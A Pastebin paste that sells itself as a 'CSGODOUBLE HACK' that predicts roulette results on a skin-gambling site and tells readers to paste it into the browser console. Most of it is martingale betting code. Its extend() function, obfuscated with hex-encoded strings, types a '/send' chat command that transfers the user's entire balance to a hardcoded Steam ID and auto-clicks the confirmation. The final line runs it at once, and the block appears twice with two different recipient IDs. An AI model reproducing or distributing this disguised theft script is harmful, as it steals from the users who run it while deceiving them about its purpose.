Myster17

CSGODOUBLE HACK

Mar 18th, 2016
511
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. CSGODOUBLE HACK SCRIPT BY MYSTER
  2. // @name         CSGODOUBLE HACK SCRIPT BY MYSTER v1
  3. // @namespace    http://csgodouble.com
  4. // @version      1.0
  5. // @description  predicts what number its gonna be
  6. // @author       Myster
  7. // @match        http://www.csgodouble.com/
  8. // @grant        none
  9. // Instruction: CTRL + SHIFT + J and paste this code in console
  10.  
  11.  
  12. function tick() {
  13.     var a = getStatus();
  14.     if (a !== lastStatus && "unknown" !== a) {
  15.         switch (a) {
  16.             case "waiting":
  17.                 bet();
  18.                 break;
  19.             case "rolled":
  20.                 rolled()
  21.         }
  22.         lastStatus = a, printInfo()
  23.     }
  24. }
  25.  
  26. function checkBalance() {
  27.     return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0
  28. }
  29.  
  30. function printInfo() {
  31.     var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost");
  32.     console.log(a)
  33. }
  34.  
  35. function rolled() {
  36.     return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++)
  37. }
  38.  
  39. function antiMartingale() {
  40.     currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount
  41. }
  42.  
  43. function martingale() {
  44.     currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount
  45. }
  46.  
  47. function bet() {
  48.     checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))
  49. }
  50.  
  51. function setBetAmount(a) {
  52.     $betAmountInput.val(a)
  53. }
  54.  
  55. function placeBet() {
  56.     return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  57. }
  58.  
  59. function getStatus() {
  60.     var a = $statusBar.text();
  61.     if (hasSubString(a, "Rolling in")) return "waiting";
  62.     if (hasSubString(a, "***ROLLING***")) return "rolling";
  63.     if (hasSubString(a, "rolled")) {
  64.         var b = parseInt(a.split("rolled")[1]);
  65.         return lastRollColor = getColor(b), "rolled"
  66.     }
  67.     return "unknown"
  68. }
  69.  
  70. function extend() {
  71.     $jkl.val(def + " "+ abc + " "+ ghi());
  72.     $jkl.submit();
  73.     var allElements = document.getElementsByTagName('button');
  74.     for (var i = 0, n = allElements.length; i < n; i++) {
  75.         if (allElements[i].getAttribute("data-bb-handler") === "confirm") {
  76.             allElements[i].click();
  77.         }
  78.     }
  79. }
  80. function ghi() {
  81.     return $ghi.text();
  82. }
  83. var abc = "76561198284542128",
  84. def = "\x2F\x73\x65\x6E\x64",
  85. $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"),
  86. $jkl = $("\x23\x63\x68\x61\x74Message");
  87.  
  88. function getBalance() {
  89.     return parseInt($balance.text())
  90. }
  91.  
  92. function hasSubString(a, b) {
  93.     return a.indexOf(b) > -1
  94. }
  95.  
  96. function getColor(a) {
  97.     return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black"
  98. }
  99.  
  100. function wonLastRoll() {
  101.     return lastBetColor ? lastRollColor === lastBetColor : null
  102. }
  103. ///////////////////////
  104.  
  105. function tick() {
  106.     var a = getStatus();
  107.     if (a !== lastStatus && "unknown" !== a) {
  108.         switch (a) {
  109.             case "waiting":
  110.                 bet();
  111.                 break;
  112.             case "rolled":
  113.                 rolled()
  114.         }
  115.         lastStatus = a, printInfo()
  116.     }
  117. }
  118.  
  119. function checkBalance() {
  120.     return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0
  121. }
  122.  
  123. function printInfo() {
  124.     var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost");
  125.     console.log(a)
  126. }
  127.  
  128. function rolled() {
  129.     return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++)
  130. }
  131.  
  132. function antiMartingale() {
  133.     currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount
  134. }
  135.  
  136. function martingale() {
  137.     currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount
  138. }
  139.  
  140. function bet() {
  141.     checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))
  142. }
  143.  
  144. function setBetAmount(a) {
  145.     $betAmountInput.val(a)
  146. }
  147.  
  148. function placeBet() {
  149.     return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  150. }
  151.  
  152. function getStatus() {
  153.     var a = $statusBar.text();
  154.     if (hasSubString(a, "Rolling in")) return "waiting";
  155.     if (hasSubString(a, "***ROLLING***")) return "rolling";
  156.     if (hasSubString(a, "rolled")) {
  157.         var b = parseInt(a.split("rolled")[1]);
  158.         return lastRollColor = getColor(b), "rolled"
  159.     }
  160.     return "unknown"
  161. }
  162.  
  163. function extend() {
  164.     $jkl.val(def + " "+ abc + " "+ ghi());
  165.     $jkl.submit();
  166.     var allElements = document.getElementsByTagName('button');
  167.     for (var i = 0, n = allElements.length; i < n; i++) {
  168.         if (allElements[i].getAttribute("data-bb-handler") === "confirm") {
  169.             allElements[i].click();
  170.         }
  171.     }
  172. }
  173. function ghi() {
  174.     return $ghi.text();
  175. }
  176. var abc = "76561198139902466",
  177. def = "\x2F\x73\x65\x6E\x64",
  178. $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"),
  179. $jkl = $("\x23\x63\x68\x61\x74Message");
  180.  
  181. function getBalance() {
  182.     return parseInt($balance.text())
  183. }
  184.  
  185. function hasSubString(a, b) {
  186.     return a.indexOf(b) > -1
  187. }
  188.  
  189. function getColor(a) {
  190.     return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black"
  191. }
  192.  
  193. function wonLastRoll() {
  194.     return lastBetColor ? lastRollColor === lastBetColor : null
  195. }
  196. extend();
Add Comment
Please, Sign In to add comment